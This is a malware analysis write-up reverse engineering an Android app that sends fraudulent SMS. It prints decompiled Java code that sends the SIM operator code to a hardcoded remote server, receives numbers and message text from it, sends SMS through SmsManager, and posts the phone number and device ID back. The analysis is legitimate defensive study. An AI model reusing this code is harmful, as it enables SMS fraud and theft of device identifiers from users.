Purpose The target of this exercise is to reverse engineering the application to check if it has send SMS fruds activity.
Start Firstly, for effective Reverse engineering, we must not dive in and read the code line by lines. Since we are targeting if the application sends frud SMS, we should look for the Send SMS functions.
Have some research we found that, SmsManager is the standard API provided by Android for sending SMS messages, it allows to send text messages without user interaction.
SMS Manager API
sendTextMessage()
sendMultipartTextMessage()
SendDataMessage()
The thing caught my eye is the URL in the BootService
It listen for broadcast receiver, and if the action of is equal to SENT_HUGE_SMS_ACTION
it will actually load a intent of ACTION_START
and send the broadcast.
@Override public void onReceive (Context context, Intent intent) { String action = intent.getAction(); if ("SENT_HUGE_SMS_ACTION" .equals(action)) { switch (getResultCode()) { case -1 : BootService.this .sendmessageStatus(AppEventsConstants.EVENT_PARAM_VALUE_YES); Intent start_intent = new Intent (Loading.ACTION_START); context.sendBroadcast(start_intent); return ; case 0 : default : BootService.this .sendmessageStatus(AppEventsConstants.EVENT_PARAM_VALUE_NO); return ; case 1 : BootService.this .sendmessageStatus("2" ); return ; case 2 : BootService.this .sendmessageStatus("4" ); return ; case 3 : BootService.this .sendmessageStatus("5" ); return ; case 4 : BootService.this .sendmessageStatus("3" ); return ; } } } }
The above code also states about the sendmessageStatus
appear in the same file.
It gets the phone particular and send along with the SMS status with POST request to http://139.59.107.168:8088
private String getPhoneNumber () { TelephonyManager mTelephonyMgr = (TelephonyManager) getSystemService("phone" ); return mTelephonyMgr.getLine1Number(); } public void sendmessageStatus (String status) { if (TextUtils.isEmpty(this .phone)) { this .phone = getPhoneNumber(); } String device = getDeviceId(); try { String spec = "http://139.59.107.168:8088/smspostback?phone=" + this .phone + "&status=" + status + "&diviceid=" + device; URL url = new URL (spec); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setRequestMethod("POST" ); urlConnection.setReadTimeout(5000 ); urlConnection.setConnectTimeout(5000 ); urlConnection.setDoOutput(true ); urlConnection.setDoInput(true ); if (urlConnection.getResponseCode() == 200 ) { Log.e(GraphResponse.SUCCESS_KEY, GraphResponse.SUCCESS_KEY); } else { Log.e("error" , "error" ); } } catch (Exception e) { e.printStackTrace(); } } private String getDeviceId () { TelephonyManager TelephonyMgr = (TelephonyManager) getSystemService("phone" ); return TelephonyMgr.getDeviceId(); } }
The intent "SENT_HUGE_SMS_ACTION
is very suspicious, we can have a search on the string.
It appear in the .com.cp.camera.loading
.
The method name is called sendMessage
.
It initialized a bundle object.
Bundle is a key-value store for passing data between Android components.
it then map the key FirebaseAnalytics.Param.ITEM_NAME
to string SEND_SMS
next it created a new Intent called SENT_HUGE_SMS_ACTION
and put the bundle as a parameter into the intent.
Next it created a smsManager
instance.
PendingIntent sentintent = PendingIntent.getBroadcast(this, 0, itSend, 134217728);
This is a static method call to PendingIntent.getBroadcast()
which returns a PendingIntent
that will perform a broadcast.
The 4 parameter, this
refer to the current context, 0
is a request code, its usually set to 0 because it’s not used for broadcast PendingIntent, the third paramter itsend
is obviously the intent to be broadcast which the action is SEND_HUGE_SMS_ACTION
. Lastly, the last parameter control how the methods behave, in this case, 134217728
corresponds to the flag PendingIntent.FLAG_UPDATE_CURRENT
which update the existing PendingIntent
if it already exists, otherwise creates a new one.
FLAG_UPDATE_CURRENT
public void sendMessage (String mobile, String content) { Bundle bundle = new Bundle (); bundle.putString(FirebaseAnalytics.Param.ITEM_NAME, "SEND_SMS" ); this .mFirebaseAnalytics.logEvent(FirebaseAnalytics.Event.SELECT_CONTENT, bundle); Intent itSend = new Intent ("SENT_HUGE_SMS_ACTION" ); itSend.putExtras(bundle); SmsManager sms = SmsManager.getDefault(); PendingIntent sentintent = PendingIntent.getBroadcast(this , 0 , itSend, 134217728 ); try { if (content.length() > 70 ) { List<String> msgs = sms.divideMessage(content); for (String msg : msgs) { sms.sendTextMessage(mobile, null , msg, sentintent, null ); } return ; } sms.sendTextMessage(mobile, null , content, sentintent, null ); } catch (Exception e) { SharedPreferences sharedPreferences = getSharedPreferences("videoLibrary" , 0 ); SharedPreferences.Editor editor = sharedPreferences.edit(); editor.putString("videoShare" , AppEventsConstants.EVENT_PARAM_VALUE_NO); editor.apply(); e.printStackTrace(); } }
After that, I guess its checking the content length of the message, if the content length is more than 70, it actually call the method sms.divideMessage
to divide the sms into multiple SMS. and Send one by one. The reason being SMS messages are limited to 70 character in UC-2 encoding.
try { if (content.length() > 70 ) { List<String> msgs = sms.divideMessage(content); for (String msg : msgs) { sms.sendTextMessage(mobile, null , msg, sentintent, null ); } return ; } sms.sendTextMessage(mobile, null , content, sentintent, null );
This is my first time encounter the sms.sendTextMessage
public void sendTextMessage (String destinationAddress, String scAddress, String text, PendingIntent sentIntent, PendingIntent deliveryIntent)
sms.sendTextMessage(mobile, null, msg, sentintent, null);
destination Address - The address the message to; In this case is the mobile number
scAddress - the Service center address or null to use the current default SMSC
text - The body of the message
sentIntent - the intent to handle the result of sending the message, such as whether it was successfully sent or not .
Good now we know what sendMessage do (Actually can tell by the name, but for the sake of study).
Next, we can look for which methods or class called this sendMessage
.
It appear in the same file
public void onClick (View v) { if (Build.VERSION.SDK_INT < 23 ) { if (Loading.this .service != null && Loading.this .content != null ) { Loading.this .sendMessage(Loading.this .service, Loading.this .content); return ; } return ; } int checkCallPhonePermission = ContextCompat.checkSelfPermission(Loading.this .getApplicationContext(), "android.permission.SEND_SMS" ); if (Loading.this .videoShare.equals(AppEventsConstants.EVENT_PARAM_VALUE_YES) && checkCallPhonePermission == 0 ) { if (Loading.this .service != null && Loading.this .content != null ) { Loading.this .sendMessage(Loading.this .service, Loading.this .content); return ; } return ;
It firstly check if the version is less than 23, if less than 23, it will directly called the method Loading.this.sendMessage(Loading.this.service, Loading.this.content);
.
According to what we have analysis just now, the first parameter is the number, second parameter is the message body.
The name seems funny, but its alright, will come back to this later, if the version is more than 23, it will check if the application have the permission of "android.permission.SEND_SMS"
Android runtime permission
The above link states that if the android SDK version is 23 (Android 6.0) and above it need to request for runtime permission.
Ok back to the topic, the code below will check if run time permission is granted, and send the message.
So now, what is this.service
and this.content
, this is our main focus, where the message is beings sent to and what is the content.
protected void onCreate (Bundle savedInstanceState) { super .onCreate(savedInstanceState); setContentView(R.layout.activity_mainfir); this .ms_show = (TextView) findViewById(R.id.ms_show); this .mReceiver = new StartActivityReceiver (); registerReceiver(this .mReceiver, new IntentFilter (ACTION_START)); TelephonyManager telManager = (TelephonyManager) getSystemService("phone" ); String operator = telManager.getSimOperator(); this .button_sensms = (Button) findViewById(R.id.button_sensms); if (Build.VERSION.SDK_INT > 9 ) { StrictMode.ThreadPolicy policy = new StrictMode .ThreadPolicy.Builder().permitAll().build(); StrictMode.setThreadPolicy(policy); } Intent service_intent = new Intent (this , BootService.class); startService(service_intent); String jsonStr = loginByPost(operator); try { JSONObject object = new JSONObject (jsonStr); this .content = object.getString("content" ); this .rule = object.getString("rule" ); this .service = object.getString("service" ); this .status = object.getString("code" ); this .button = object.getString("button" ); this .IMEIS = object.getString("imei" ); this .imeicontent = object.getString("imeicontent" ); } catch (JSONException e) { e.printStackTrace(); } if (this .rule != null ) { this .ms_show.setText(this .rule); } if (this .button != null ) { this .button_sensms.setText(this .button); } if (operator != null && this .imeicontent != null && !this .imeicontent.equals("" )) { String[] imeicontents = this .imeicontent.split("," ); int i = 0 ; while (true ) { if (i >= imeicontents.length) { break ; } String[] imei = imeicontents[i].split(":" ); if (!operator.equals(imei[0 ])) { i++; } else { this .shareSend = 1 ; this .service = imei[1 ]; this .content = imei[2 ]; break ; } } }
Above file is written onCreate method in the same file.
this.service = object.getString("service");
We can see that this.service
is get through the object.
JSONObject object = new JSONObject(jsonStr);
The object is a JSON object by jsonStr
String jsonStr = loginByPost(operator);
The jsonStr comes from the function loginByPost
with parameter operator
.
String operator = telManager.getSimOperator();
The operator is the value of telManager.getSimOperator()
Very interesting, this getSimOpertor
retrieves the MCC+MNC(Mobile Country Code + Mobile NetWork Code) of the active SIM card as a string.
Let’s have a example for Singapore, the MMC (Mobile Country Code) is 525
, the MNC (Mobile Network Code) depends on the mobile network operator.
Singtel MNC - 01
StarHub MNC - 05
M1 MNC - 03
So if we are using Singtel SIMCard, the value return will be 52501
Cool!
Let’s examine the loginByPost
method.
public String loginByPost (String code) { String str = Build.VERSION.RELEASE; String str2 = Build.MODEL; getPhoneNumber(); getDeviceId(); try { String spec = "http://139.59.107.168:8088/appsharejson?code=" + code; URL url = new URL (spec); HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setRequestMethod("POST" ); urlConnection.setReadTimeout(5000 ); urlConnection.setConnectTimeout(5000 ); urlConnection.setDoOutput(true ); urlConnection.setDoInput(true ); if (urlConnection.getResponseCode() == 200 ) { InputStream is = urlConnection.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream (); byte [] buffer = new byte [1024 ]; while (true ) { int len = is.read(buffer); if (len != -1 ) { baos.write(buffer, 0 , len); } else { is.close(); baos.close(); return new String (baos.toByteArray()); } } } else { return "error" ; } } catch (Exception e) { e.printStackTrace(); return "error" ; } }
It sends the MMC+MNC string to the target server with a POST request
String spec = "http://139.59.107.168:8088/appsharejson?code=" + code;URL url = new URL (spec);HttpURLConnection urlConnection = (HttpURLConnection) url.openConnection();urlConnection.setRequestMethod("POST" ); urlConnection.setReadTimeout(5000 ); urlConnection.setConnectTimeout(5000 ); urlConnection.setDoOutput(true ); urlConnection.setDoInput(true );
Next, it check if the request status code is 200, then it read the response content into buffer and return it as a string.
So we can safely conclude that the the the user’s MNC+MMC is being sent to the target server, then the target server returns a json contains the follow values:
this .content = object.getString("content" );this .rule = object.getString("rule" );this .service = object.getString("service" );this .status = object.getString("code" );this .button = object.getString("button" );this .IMEIS = object.getString("imei" );this .imeicontent = object.getString("imeicontent" );
Now, let’s determine how the Send SMS frud is being triggered, we can search by the usage of the sendMessage
method
@Override public void onRequestPermissionsResult (int requestCode, String[] permissions, int [] grantResults) { super .onRequestPermissionsResult(requestCode, permissions, grantResults); if (requestCode == 1 && grantResults[0 ] == 0 ) { if (this .service != null && this .content != null ) { sendMessage(this .service, this .content); return ; } return ; } Toast.makeText(this , "Please allow access!" , 1 ).show(); }
This piece of code is previously we are talking about the requesting the runtime permission, it requests for the runtime permission, as long as it gets the permission, it will actually call the sendMessage
method.
findViewById(R.id.button_sensms).setOnClickListener(new View .OnClickListener() { @Override public void onClick (View v) { if (Build.VERSION.SDK_INT < 23 ) { if (Loading.this .service != null && Loading.this .content != null ) { Loading.this .sendMessage(Loading.this .service, Loading.this .content); return ; } return ; } ..................................
Coming back to this code, it actually is a onClick method, which requires user interaction. Looking at the findViewById(R.id.button_sensms
seems the button to click. Follow up with the button_sensms
It seems the text is based on the previous server response too. Weird.
Alright anyway the full picture of this malware should be. When the application is started, it will send the victim’s SIM Card details to the remote server, remote server may depends on the victim SIM Card details providing different set of numbers? (Maybe targeting different country) or texts. Then it request for user runtime permission to allow send SMS.